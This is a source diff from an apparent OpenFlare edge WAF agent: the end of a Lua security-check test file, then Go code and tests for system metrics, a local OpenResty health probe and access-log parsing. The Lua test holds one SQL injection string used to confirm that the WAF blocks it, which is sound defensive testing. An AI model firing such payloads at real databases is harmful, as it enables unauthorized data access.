"clean GET must pass full default-like security set"
|
||||
)
|
||||
assert_equal(read_body_calls, 0, "zero content-length must not read_body")
|
||||
|
||||
-- Only enabled collectors: path-only config must ignore SQL-like query.
|
||||
reset_request("sec-site", nil, "/safe")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { q = "1' union select 1--" }
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ path_traversal = true, file_inclusion = true }),
|
||||
true,
|
||||
"SQL payload must not affect path-only checks"
|
||||
)
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ sql_injection = true }),
|
||||
false,
|
||||
"SQL payload must block when SQL is enabled"
|
||||
)
|
||||
end
|
||||
|
||||
local function test_ip_matcher_index_miss_and_hit()
|
||||
local runtime = load_runtime({ rule_groups = {}, bindings = {} }, {
|
||||
ip_groups = {
|
||||
groups = {
|
||||
["1"] = {
|
||||
enabled = true,
|
||||
ip_list = {
|
||||
"10.0.0.0/8",
|
||||
"203.0.113.50",
|
||||
"2001:db8:1::/48",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
local many = {}
|
||||
for i = 1, 5000 do
|
||||
many[i] = string.format("198.51.100.%d", (i % 254) + 1)
|
||||
end
|
||||
many[#many + 1] = "198.51.100.0/24"
|
||||
local matcher = runtime.debug_compile_ip_matcher(many)
|
||||
assert_equal(matcher:match("203.0.113.1"), false, "large list miss")
|
||||
assert_equal(matcher:match("198.51.100.9"), true, "large list CIDR or exact hit")
|
||||
|
||||
assert_equal(
|
||||
runtime.debug_matches_ip_values({ ip_group_ids = { 1 } }, "203.0.113.50"),
|
||||
true,
|
||||
"group exact hit"
|
||||
)
|
||||
assert_equal(
|
||||
runtime.debug_matches_ip_values({ ip_group_ids = { 1 } }, "10.1.2.3"),
|
||||
true,
|
||||
"group CIDR hit"
|
||||
)
|
||||
assert_equal(
|
||||
runtime.debug_matches_ip_values({ ip_group_ids = { 1 } }, "198.51.100.1"),
|
||||
false,
|
||||
"group miss"
|
||||
)
|
||||
assert_equal(
|
||||
runtime.debug_matches_ip_values({ ips = { "192.0.2.9" }, cidrs = { "198.51.100.0/24" } }, "198.51.100.20"),
|
||||
true,
|
||||
"node cidr hit via compiled matcher"
|
||||
)
|
||||
assert_equal(
|
||||
runtime.debug_matches_ip_values({ ips = { "2001:db8::1" } }, "2001:0db8:0:0:0:0:0:1"),
|
||||
true,
|
||||
"node ipv6 canonical exact"
|
||||
)
|
||||
end
|
||||
|
||||
test_ua_check_require_block_and_whitelist()
|
||||
test_security_check_path_and_sql()
|
||||
test_ip_matcher_index_miss_and_hit()
|
||||
|
||||
return true
|
||||
@@ -0,0 +1,184 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package observability provides system and service level observability data collection for the agent.
|
||||
package observability
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/config"
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
"Wavelet/openflare/plugins/agent/state"
|
||||
edgeobs "Wavelet/openflare/share/edge/observability"
|
||||
)
|
||||
|
||||
const nodeHealthEventInitialCapacity = 2
|
||||
|
||||
// BuildProfile collects the system profile and returns it only if the fingerprint has changed.
|
||||
func BuildProfile(cfg *config.Config, stateStore *state.Store) *protocol.NodeSystemProfile {
|
||||
profile := collectProfile(cfg)
|
||||
if profile == nil {
|
||||
return nil
|
||||
}
|
||||
fingerprint := fingerprintProfile(profile)
|
||||
if stateStore == nil {
|
||||
return profile
|
||||
}
|
||||
snapshot, err := stateStore.Load()
|
||||
if err != nil {
|
||||
return profile
|
||||
}
|
||||
if snapshot.LastProfileFingerprint == fingerprint {
|
||||
return nil
|
||||
}
|
||||
snapshot.LastProfileFingerprint = fingerprint
|
||||
if err = stateStore.Save(snapshot); err != nil {
|
||||
return profile
|
||||
}
|
||||
return profile
|
||||
}
|
||||
|
||||
// BuildSnapshot captures current system metrics and returns a metric snapshot.
|
||||
func BuildSnapshot(cfg *config.Config, stateStore *state.Store) *protocol.NodeMetricSnapshot {
|
||||
now := time.Now().UTC()
|
||||
metric := &protocol.NodeMetricSnapshot{
|
||||
CapturedAtUnix: now.Unix(),
|
||||
}
|
||||
|
||||
memTotal, memUsed := edgeobs.ReadMemInfo()
|
||||
metric.MemoryTotalBytes = memTotal
|
||||
metric.MemoryUsedBytes = memUsed
|
||||
|
||||
storageTotal, storageUsed := edgeobs.StatFilesystem(cfg.DataDir)
|
||||
metric.StorageTotalBytes = storageTotal
|
||||
metric.StorageUsedBytes = storageUsed
|
||||
|
||||
// Host NIC totals are not collected (product no longer surfaces host NIC trends).
|
||||
metric.DiskReadBytes, metric.DiskWriteBytes = edgeobs.ReadLinuxDiskTotals()
|
||||
|
||||
if stateStore == nil {
|
||||
return metric
|
||||
}
|
||||
|
||||
totalCPU, idleCPU := edgeobs.ReadLinuxCPUStat()
|
||||
snapshot, err := stateStore.Load()
|
||||
if err != nil {
|
||||
return metric
|
||||
}
|
||||
if snapshot.LastCPUStatTotal > 0 && totalCPU > snapshot.LastCPUStatTotal && idleCPU >= snapshot.LastCPUStatIdle {
|
||||
deltaTotal := totalCPU - snapshot.LastCPUStatTotal
|
||||
deltaIdle := idleCPU - snapshot.LastCPUStatIdle
|
||||
if deltaTotal > 0 && deltaIdle <= deltaTotal {
|
||||
metric.CPUUsagePercent = (float64(deltaTotal-deltaIdle) / float64(deltaTotal)) * 100
|
||||
}
|
||||
}
|
||||
snapshot.LastCPUStatTotal = totalCPU
|
||||
snapshot.LastCPUStatIdle = idleCPU
|
||||
snapshot.LastMetricAtUnix = now.Unix()
|
||||
_ = stateStore.Save(snapshot)
|
||||
|
||||
return metric
|
||||
}
|
||||
|
||||
// BuildEdgeHealth builds the edge_health payload from a local probe and node status.
|
||||
func BuildEdgeHealth(probe *EdgeHealthSnapshot, openrestyStatus, openrestyMessage string) *protocol.NodeEdgeHealth {
|
||||
status := strings.TrimSpace(openrestyStatus)
|
||||
message := strings.TrimSpace(openrestyMessage)
|
||||
if probe == nil {
|
||||
if status == "" {
|
||||
return nil
|
||||
}
|
||||
return &protocol.NodeEdgeHealth{
|
||||
CapturedAtUnix: time.Now().UTC().Unix(),
|
||||
Status: status,
|
||||
Message: message,
|
||||
Connections: 0,
|
||||
}
|
||||
}
|
||||
|
||||
captured := probe.CapturedAtUnix
|
||||
if captured <= 0 {
|
||||
captured = time.Now().UTC().Unix()
|
||||
}
|
||||
if status == "" {
|
||||
status = protocol.OpenrestyStatusUnknown
|
||||
if probe.OK {
|
||||
status = protocol.OpenrestyStatusHealthy
|
||||
}
|
||||
}
|
||||
return &protocol.NodeEdgeHealth{
|
||||
CapturedAtUnix: captured,
|
||||
Status: status,
|
||||
Message: message,
|
||||
Connections: probe.Connections,
|
||||
}
|
||||
}
|
||||
|
||||
// BuildHealthEvents converts system snapshot health state into a list of health events.
|
||||
func BuildHealthEvents(snapshot *state.Snapshot) []protocol.NodeHealthEvent {
|
||||
if snapshot == nil {
|
||||
return []protocol.NodeHealthEvent{}
|
||||
}
|
||||
events := make([]protocol.NodeHealthEvent, 0, nodeHealthEventInitialCapacity)
|
||||
nowUnix := time.Now().UTC().Unix()
|
||||
if strings.TrimSpace(snapshot.OpenrestyStatus) == protocol.OpenrestyStatusUnhealthy {
|
||||
events = append(events, protocol.NodeHealthEvent{
|
||||
EventType: "openresty_unhealthy",
|
||||
Severity: "critical",
|
||||
Message: strings.TrimSpace(snapshot.OpenrestyMessage),
|
||||
TriggeredAtUnix: nowUnix,
|
||||
})
|
||||
}
|
||||
if strings.TrimSpace(snapshot.LastError) != "" {
|
||||
events = append(events, protocol.NodeHealthEvent{
|
||||
EventType: "sync_error",
|
||||
Severity: "warning",
|
||||
Message: strings.TrimSpace(snapshot.LastError),
|
||||
TriggeredAtUnix: nowUnix,
|
||||
})
|
||||
}
|
||||
return events
|
||||
}
|
||||
|
||||
func collectProfile(cfg *config.Config) *protocol.NodeSystemProfile {
|
||||
hostname, _ := os.Hostname()
|
||||
osName, osVersion := edgeobs.ReadLinuxOSRelease()
|
||||
kernelVersion := edgeobs.ReadFirstLine("/proc/sys/kernel/osrelease")
|
||||
cpuModel := edgeobs.ReadLinuxCPUModel()
|
||||
totalMemory, _ := edgeobs.ReadMemInfo()
|
||||
totalDisk, _ := edgeobs.StatFilesystem(cfg.DataDir)
|
||||
uptimeSeconds := edgeobs.ReadLinuxUptimeSeconds()
|
||||
|
||||
return &protocol.NodeSystemProfile{
|
||||
Hostname: strings.TrimSpace(hostname),
|
||||
OSName: osName,
|
||||
OSVersion: osVersion,
|
||||
KernelVersion: kernelVersion,
|
||||
Architecture: runtime.GOARCH,
|
||||
CPUModel: cpuModel,
|
||||
CPUCores: runtime.NumCPU(),
|
||||
TotalMemoryBytes: totalMemory,
|
||||
TotalDiskBytes: totalDisk,
|
||||
UptimeSeconds: uptimeSeconds,
|
||||
ReportedAtUnix: time.Now().UTC().Unix(),
|
||||
}
|
||||
}
|
||||
|
||||
func fingerprintProfile(profile *protocol.NodeSystemProfile) string {
|
||||
cloned := *profile
|
||||
cloned.UptimeSeconds = 0
|
||||
cloned.ReportedAtUnix = 0
|
||||
raw, err := json.Marshal(&cloned)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
sum := sha256.Sum256(raw)
|
||||
return hex.EncodeToString(sum[:])
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package observability
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/config"
|
||||
)
|
||||
|
||||
const openRestyObservabilityPath = "/openflare/observability"
|
||||
|
||||
// EdgeHealthSnapshot is the L2 OpenResty health probe result.
|
||||
type EdgeHealthSnapshot struct {
|
||||
OK bool
|
||||
CapturedAtUnix int64
|
||||
Connections int64
|
||||
Reading int64
|
||||
Writing int64
|
||||
Waiting int64
|
||||
}
|
||||
|
||||
type openRestyObservabilityResponse struct {
|
||||
OK bool `json:"ok"`
|
||||
CapturedAtUnix int64 `json:"captured_at_unix"`
|
||||
Connections struct {
|
||||
Active int64 `json:"active"`
|
||||
Reading int64 `json:"reading"`
|
||||
Writing int64 `json:"writing"`
|
||||
Waiting int64 `json:"waiting"`
|
||||
} `json:"connections"`
|
||||
}
|
||||
|
||||
// CollectEdgeHealth probes the local OpenResty observability JSON endpoint.
|
||||
func CollectEdgeHealth(ctx context.Context, cfg *config.Config) *EdgeHealthSnapshot {
|
||||
if cfg == nil || cfg.OpenrestyObservabilityPort <= 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
baseURL := fmt.Sprintf("http://127.0.0.1:%d", cfg.OpenrestyObservabilityPort)
|
||||
client := &http.Client{Timeout: 1500 * time.Millisecond}
|
||||
|
||||
var resp openRestyObservabilityResponse
|
||||
if err := fetchLocalJSON(ctx, client, baseURL+openRestyObservabilityPath, &resp); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
captured := resp.CapturedAtUnix
|
||||
if captured <= 0 {
|
||||
captured = time.Now().UTC().Unix()
|
||||
}
|
||||
return &EdgeHealthSnapshot{
|
||||
OK: resp.OK,
|
||||
CapturedAtUnix: captured,
|
||||
Connections: resp.Connections.Active,
|
||||
Reading: resp.Connections.Reading,
|
||||
Writing: resp.Connections.Writing,
|
||||
Waiting: resp.Connections.Waiting,
|
||||
}
|
||||
}
|
||||
|
||||
func fetchLocalJSON(ctx context.Context, client *http.Client, url string, target any) error {
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("unexpected local observability status: %s", resp.Status)
|
||||
}
|
||||
return json.NewDecoder(resp.Body).Decode(target)
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package observability
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/config"
|
||||
)
|
||||
|
||||
func TestCollectEdgeHealth(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path != "/openflare/observability" {
|
||||
http.NotFound(w, r)
|
||||
return
|
||||
}
|
||||
_, _ = w.Write([]byte(`{"ok":true,"captured_at_unix":1710403200,"connections":{"active":12,"reading":1,"writing":2,"waiting":9}}`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
health := CollectEdgeHealth(context.Background(), &config.Config{
|
||||
OpenrestyObservabilityPort: mustPort(server.URL),
|
||||
})
|
||||
if health == nil {
|
||||
t.Fatal("expected edge health")
|
||||
}
|
||||
if !health.OK || health.Connections != 12 {
|
||||
t.Fatalf("unexpected health: %+v", health)
|
||||
}
|
||||
}
|
||||
|
||||
func mustPort(rawURL string) int {
|
||||
u := rawURL
|
||||
idx := stringsLastColon(u)
|
||||
if idx < 0 {
|
||||
return 0
|
||||
}
|
||||
var port int
|
||||
for _, ch := range u[idx+1:] {
|
||||
if ch < '0' || ch > '9' {
|
||||
break
|
||||
}
|
||||
port = port*10 + int(ch-'0')
|
||||
}
|
||||
return port
|
||||
}
|
||||
|
||||
func stringsLastColon(s string) int {
|
||||
for i := len(s) - 1; i >= 0; i-- {
|
||||
if s[i] == ':' {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
func TestCollectEdgeHealthHandlesUnavailableEndpoint(t *testing.T) {
|
||||
if health := CollectEdgeHealth(context.Background(), &config.Config{
|
||||
OpenrestyObservabilityPort: 1,
|
||||
}); health != nil {
|
||||
t.Fatalf("expected nil health, got %+v", health)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,277 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package observability
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io"
|
||||
"log/slog"
|
||||
"os"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/config"
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
"Wavelet/openflare/plugins/agent/state"
|
||||
)
|
||||
|
||||
type accessLogRecord struct {
|
||||
Timestamp string `json:"ts"`
|
||||
Host string `json:"host"`
|
||||
RemoteAddr string `json:"remote_addr"`
|
||||
Path string `json:"path"`
|
||||
UserAgent string `json:"user_agent"`
|
||||
CacheStatus string `json:"cache_status"`
|
||||
Status int `json:"status"`
|
||||
BytesSent int64 `json:"bytes_sent"`
|
||||
RequestLength int64 `json:"request_length"`
|
||||
RequestTime float64 `json:"request_time"`
|
||||
}
|
||||
|
||||
const (
|
||||
combinedAccessLogMatchGroupCount = 5
|
||||
// requestTimeSecondsToMs converts OpenResty $request_time (seconds float) to ms.
|
||||
requestTimeSecondsToMs = 1000.0
|
||||
// roundHalfUp is added before int64 truncate to round to nearest millisecond.
|
||||
roundHalfUp = 0.5
|
||||
)
|
||||
|
||||
var combinedAccessLogPattern = regexp.MustCompile(`^(\S+)\s+\S+\s+\S+\s+\[([^]]+)]\s+"\S+\s+(\S+)(?:\s+[^"]*)?"\s+(\d{3})\s+\S+`)
|
||||
|
||||
// trafficAggregate collects access-log facts for the current heartbeat window.
|
||||
// Pre-aggregation (UV/TopN/TrafficReport) is intentionally not built.
|
||||
type trafficAggregate struct {
|
||||
logs []protocol.NodeAccessLog
|
||||
}
|
||||
|
||||
// CollectAccessLogs tails access.log and returns L1 fact rows for the current heartbeat.
|
||||
func CollectAccessLogs(cfg *config.Config, stateStore *state.Store) []protocol.NodeAccessLog {
|
||||
if cfg == nil || stateStore == nil {
|
||||
return nil
|
||||
}
|
||||
aggregate := readAccessLogDelta(cfg, stateStore)
|
||||
if aggregate == nil {
|
||||
return nil
|
||||
}
|
||||
return aggregate.accessLogs()
|
||||
}
|
||||
|
||||
func readAccessLogDelta(cfg *config.Config, stateStore *state.Store) *trafficAggregate {
|
||||
snapshot, err := stateStore.Load()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
logPath := managedAccessLogPath(cfg)
|
||||
file, err := os.Open(logPath) //nolint:gosec // path is the configured managed access log location
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
if snapshot.AccessLogOffset != 0 {
|
||||
snapshot.AccessLogOffset = 0
|
||||
_ = stateStore.Save(snapshot)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
return nil
|
||||
}
|
||||
defer func(file *os.File) {
|
||||
err := file.Close()
|
||||
if err != nil {
|
||||
slog.Error("failed to close access log file", "error", err)
|
||||
}
|
||||
}(file)
|
||||
|
||||
info, err := file.Stat()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
offset := snapshot.AccessLogOffset
|
||||
if offset < 0 || offset > info.Size() {
|
||||
offset = 0
|
||||
}
|
||||
if _, err = file.Seek(offset, io.SeekStart); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
reader := bufio.NewReader(file)
|
||||
currentOffset := offset
|
||||
aggregate := newTrafficAggregate()
|
||||
|
||||
for {
|
||||
line, readErr := reader.ReadBytes('\n')
|
||||
if len(line) > 0 {
|
||||
currentOffset += int64(len(line))
|
||||
aggregate.consume(line)
|
||||
}
|
||||
if errors.Is(readErr, io.EOF) {
|
||||
break
|
||||
}
|
||||
if readErr != nil {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
snapshot.AccessLogOffset = currentOffset
|
||||
_ = stateStore.Save(snapshot)
|
||||
|
||||
return aggregate
|
||||
}
|
||||
|
||||
func managedAccessLogPath(cfg *config.Config) string {
|
||||
if cfg == nil || strings.TrimSpace(cfg.AccessLogPath) == "" {
|
||||
return ""
|
||||
}
|
||||
return cfg.AccessLogPath
|
||||
}
|
||||
|
||||
func newTrafficAggregate() *trafficAggregate {
|
||||
return &trafficAggregate{}
|
||||
}
|
||||
|
||||
func (aggregate *trafficAggregate) consume(line []byte) {
|
||||
trimmed := strings.TrimSpace(string(line))
|
||||
if trimmed == "" {
|
||||
return
|
||||
}
|
||||
|
||||
record, ok := parseAccessLogRecord(trimmed)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
|
||||
aggregate.logs = append(aggregate.logs, protocol.NodeAccessLog{
|
||||
LoggedAtUnix: record.Timestamp.Unix(),
|
||||
RemoteAddr: strings.TrimSpace(record.RemoteAddr),
|
||||
Host: strings.TrimSpace(record.Host),
|
||||
Path: normalizeAccessLogPath(record.Path),
|
||||
UserAgent: strings.TrimSpace(record.UserAgent),
|
||||
CacheStatus: normalizeCacheStatus(record.CacheStatus),
|
||||
StatusCode: record.Status,
|
||||
BytesSent: record.BytesSent,
|
||||
RequestLength: record.RequestLength,
|
||||
RequestTimeMs: record.RequestTimeMs,
|
||||
})
|
||||
}
|
||||
|
||||
type parsedAccessLogRecord struct {
|
||||
Timestamp time.Time
|
||||
Host string
|
||||
RemoteAddr string
|
||||
Path string
|
||||
UserAgent string
|
||||
CacheStatus string
|
||||
Status int
|
||||
BytesSent int64
|
||||
RequestLength int64
|
||||
RequestTimeMs int64
|
||||
}
|
||||
|
||||
func parseAccessLogRecord(raw string) (parsedAccessLogRecord, bool) {
|
||||
record, ok := parseJSONAccessLogRecord(raw)
|
||||
if ok {
|
||||
return record, true
|
||||
}
|
||||
return parseCombinedAccessLogRecord(raw)
|
||||
}
|
||||
|
||||
func parseJSONAccessLogRecord(raw string) (parsedAccessLogRecord, bool) {
|
||||
var record accessLogRecord
|
||||
if err := json.Unmarshal([]byte(raw), &record); err != nil {
|
||||
return parsedAccessLogRecord{}, false
|
||||
}
|
||||
timestamp, err := parseAccessLogTime(record.Timestamp)
|
||||
if err != nil {
|
||||
return parsedAccessLogRecord{}, false
|
||||
}
|
||||
requestTimeMs := int64(0)
|
||||
if record.RequestTime > 0 {
|
||||
requestTimeMs = int64(record.RequestTime*requestTimeSecondsToMs + roundHalfUp)
|
||||
}
|
||||
return parsedAccessLogRecord{
|
||||
Timestamp: timestamp,
|
||||
Host: strings.TrimSpace(record.Host),
|
||||
RemoteAddr: strings.TrimSpace(record.RemoteAddr),
|
||||
Path: normalizeAccessLogPath(record.Path),
|
||||
UserAgent: strings.TrimSpace(record.UserAgent),
|
||||
CacheStatus: normalizeCacheStatus(record.CacheStatus),
|
||||
Status: record.Status,
|
||||
BytesSent: record.BytesSent,
|
||||
RequestLength: record.RequestLength,
|
||||
RequestTimeMs: requestTimeMs,
|
||||
}, true
|
||||
}
|
||||
|
||||
func normalizeCacheStatus(value string) string {
|
||||
// Keep OpenResty "-" as-is so details can distinguish it from a missing field.
|
||||
return strings.TrimSpace(value)
|
||||
}
|
||||
|
||||
func parseCombinedAccessLogRecord(raw string) (parsedAccessLogRecord, bool) {
|
||||
matches := combinedAccessLogPattern.FindStringSubmatch(raw)
|
||||
if len(matches) != combinedAccessLogMatchGroupCount {
|
||||
return parsedAccessLogRecord{}, false
|
||||
}
|
||||
timestamp, err := parseAccessLogTime(matches[2])
|
||||
if err != nil {
|
||||
return parsedAccessLogRecord{}, false
|
||||
}
|
||||
status, err := strconv.Atoi(matches[4])
|
||||
if err != nil {
|
||||
return parsedAccessLogRecord{}, false
|
||||
}
|
||||
return parsedAccessLogRecord{
|
||||
Timestamp: timestamp,
|
||||
RemoteAddr: strings.TrimSpace(matches[1]),
|
||||
Path: normalizeAccessLogPath(matches[3]),
|
||||
Status: status,
|
||||
}, true
|
||||
}
|
||||
|
||||
func (aggregate *trafficAggregate) accessLogs() []protocol.NodeAccessLog {
|
||||
if aggregate == nil || len(aggregate.logs) == 0 {
|
||||
return []protocol.NodeAccessLog{}
|
||||
}
|
||||
return append([]protocol.NodeAccessLog(nil), aggregate.logs...)
|
||||
}
|
||||
|
||||
func parseAccessLogTime(value string) (time.Time, error) {
|
||||
trimmed := strings.TrimSpace(value)
|
||||
if trimmed == "" {
|
||||
return time.Time{}, errors.New("empty access log time")
|
||||
}
|
||||
timestamp, err := time.Parse(time.RFC3339, trimmed)
|
||||
if err == nil {
|
||||
return timestamp, nil
|
||||
}
|
||||
return time.Parse("02/Jan/2006:15:04:05 -0700", trimmed)
|
||||
}
|
||||
|
||||
const accessLogPathMaxRunes = 100
|
||||
|
||||
func normalizeAccessLogPath(value string) string {
|
||||
trimmed := strings.TrimSpace(value)
|
||||
if trimmed == "" {
|
||||
return ""
|
||||
}
|
||||
if strings.HasPrefix(trimmed, "http://") || strings.HasPrefix(trimmed, "https://") {
|
||||
return truncateAccessLogPath(trimmed)
|
||||
}
|
||||
if strings.HasPrefix(trimmed, "/") {
|
||||
return truncateAccessLogPath(trimmed)
|
||||
}
|
||||
return truncateAccessLogPath("/" + trimmed)
|
||||
}
|
||||
|
||||
func truncateAccessLogPath(value string) string {
|
||||
runes := []rune(value)
|
||||
if len(runes) <= accessLogPathMaxRunes {
|
||||
return value
|
||||
}
|
||||
return string(runes[:accessLogPathMaxRunes])
|
||||
}
|
||||
@@ -0,0 +1,111 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package observability
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/config"
|
||||
"Wavelet/openflare/plugins/agent/state"
|
||||
)
|
||||
|
||||
func TestCollectAccessLogsReturnsFactsOnly(t *testing.T) {
|
||||
tempDir := t.TempDir()
|
||||
logPath := filepath.Join(tempDir, "openflare_access.log")
|
||||
content := []byte(
|
||||
"{\"ts\":\"2026-03-14T08:00:00Z\",\"host\":\"app.example.com\",\"path\":\"/login\",\"remote_addr\":\"10.0.0.1\",\"status\":200,\"request_length\":128,\"bytes_sent\":512,\"request_time\":0.015,\"user_agent\":\"Mozilla/5.0\",\"cache_status\":\"HIT\"}\n" +
|
||||
"{\"ts\":\"2026-03-14T08:00:05Z\",\"host\":\"api.example.com\",\"path\":\"/v1/ping\",\"remote_addr\":\"10.0.0.2\",\"status\":502,\"request_length\":64,\"bytes_sent\":256,\"request_time\":0.008,\"user_agent\":\"curl/8.0\",\"cache_status\":\"MISS\"}\n",
|
||||
)
|
||||
if err := os.WriteFile(logPath, content, 0o644); err != nil {
|
||||
t.Fatalf("WriteFile failed: %v", err)
|
||||
}
|
||||
|
||||
stateStore := state.NewStore(filepath.Join(tempDir, "state.json"))
|
||||
accessLogs := CollectAccessLogs(&config.Config{AccessLogPath: logPath}, stateStore)
|
||||
if len(accessLogs) != 2 {
|
||||
t.Fatalf("expected access logs, got %+v", accessLogs)
|
||||
}
|
||||
if accessLogs[0].BytesSent != 512 || accessLogs[0].RequestLength != 128 {
|
||||
t.Fatalf("unexpected first log: %+v", accessLogs[0])
|
||||
}
|
||||
if accessLogs[0].RequestTimeMs != 15 {
|
||||
t.Fatalf("request_time_ms = %d, want 15", accessLogs[0].RequestTimeMs)
|
||||
}
|
||||
if accessLogs[0].Path != "/login" || accessLogs[1].Path != "/v1/ping" {
|
||||
t.Fatalf("unexpected access log paths: %+v", accessLogs)
|
||||
}
|
||||
if accessLogs[0].UserAgent != "Mozilla/5.0" || accessLogs[1].UserAgent != "curl/8.0" {
|
||||
t.Fatalf("unexpected user agents: %+v", accessLogs)
|
||||
}
|
||||
if accessLogs[0].CacheStatus != "HIT" || accessLogs[1].CacheStatus != "MISS" {
|
||||
t.Fatalf("unexpected cache status: %+v", accessLogs)
|
||||
}
|
||||
|
||||
snapshot, err := stateStore.Load()
|
||||
if err != nil {
|
||||
t.Fatalf("Load failed: %v", err)
|
||||
}
|
||||
if snapshot.AccessLogOffset != int64(len(content)) {
|
||||
t.Fatalf("unexpected access log offset: %d", snapshot.AccessLogOffset)
|
||||
}
|
||||
|
||||
moreLogs := CollectAccessLogs(&config.Config{AccessLogPath: logPath}, stateStore)
|
||||
if len(moreLogs) != 0 {
|
||||
t.Fatalf("expected no new logs, got %+v", moreLogs)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeCacheStatusKeepsDash(t *testing.T) {
|
||||
if got := normalizeCacheStatus(" - "); got != "-" {
|
||||
t.Fatalf("normalizeCacheStatus dash = %q, want -", got)
|
||||
}
|
||||
if got := normalizeCacheStatus(" HIT "); got != "HIT" {
|
||||
t.Fatalf("normalizeCacheStatus hit = %q, want HIT", got)
|
||||
}
|
||||
if got := normalizeCacheStatus(""); got != "" {
|
||||
t.Fatalf("normalizeCacheStatus empty = %q, want empty", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCollectAccessLogsResetsOffsetAfterTruncate(t *testing.T) {
|
||||
tempDir := t.TempDir()
|
||||
logPath := filepath.Join(tempDir, "openflare_access.log")
|
||||
if err := os.WriteFile(logPath, []byte("{\"ts\":\"2026-03-14T09:00:00Z\",\"host\":\"app.example.com\",\"path\":\"/\",\"remote_addr\":\"10.0.0.3\",\"status\":200,\"bytes_sent\":1}\n"), 0o644); err != nil {
|
||||
t.Fatalf("WriteFile failed: %v", err)
|
||||
}
|
||||
|
||||
stateStore := state.NewStore(filepath.Join(tempDir, "state.json"))
|
||||
if err := stateStore.Save(&state.Snapshot{AccessLogOffset: 4096}); err != nil {
|
||||
t.Fatalf("Save failed: %v", err)
|
||||
}
|
||||
|
||||
accessLogs := CollectAccessLogs(&config.Config{AccessLogPath: logPath}, stateStore)
|
||||
if len(accessLogs) != 1 {
|
||||
t.Fatalf("expected one access log after truncate reset, got %+v", accessLogs)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCollectAccessLogsTruncatesLongAccessLogPath(t *testing.T) {
|
||||
tempDir := t.TempDir()
|
||||
logPath := filepath.Join(tempDir, "openflare_access.log")
|
||||
longPath := "/" + strings.Repeat("a", 140)
|
||||
content := []byte(
|
||||
"{\"ts\":\"2026-03-14T08:00:00Z\",\"host\":\"app.example.com\",\"path\":\"" + longPath + "\",\"remote_addr\":\"10.0.0.1\",\"status\":200}\n",
|
||||
)
|
||||
if err := os.WriteFile(logPath, content, 0o644); err != nil {
|
||||
t.Fatalf("WriteFile failed: %v", err)
|
||||
}
|
||||
|
||||
stateStore := state.NewStore(filepath.Join(tempDir, "state.json"))
|
||||
accessLogs := CollectAccessLogs(&config.Config{AccessLogPath: logPath}, stateStore)
|
||||
if len(accessLogs) != 1 {
|
||||
t.Fatalf("expected one access log, got %+v", accessLogs)
|
||||
}
|
||||
if got := len([]rune(accessLogs[0].Path)); got != accessLogPathMaxRunes {
|
||||
t.Fatalf("expected truncated path length %d, got %d (%q)", accessLogPathMaxRunes, got, accessLogs[0].Path)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,198 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package agent 装载 OpenFlare 边缘 agent 插件：openresty/WAF 运行时管理、
|
||||
// 心跳同步、配置下发与 WebSocket 控制通道，以 Cordis 驱动形态在 profile "agent" 下运行。
|
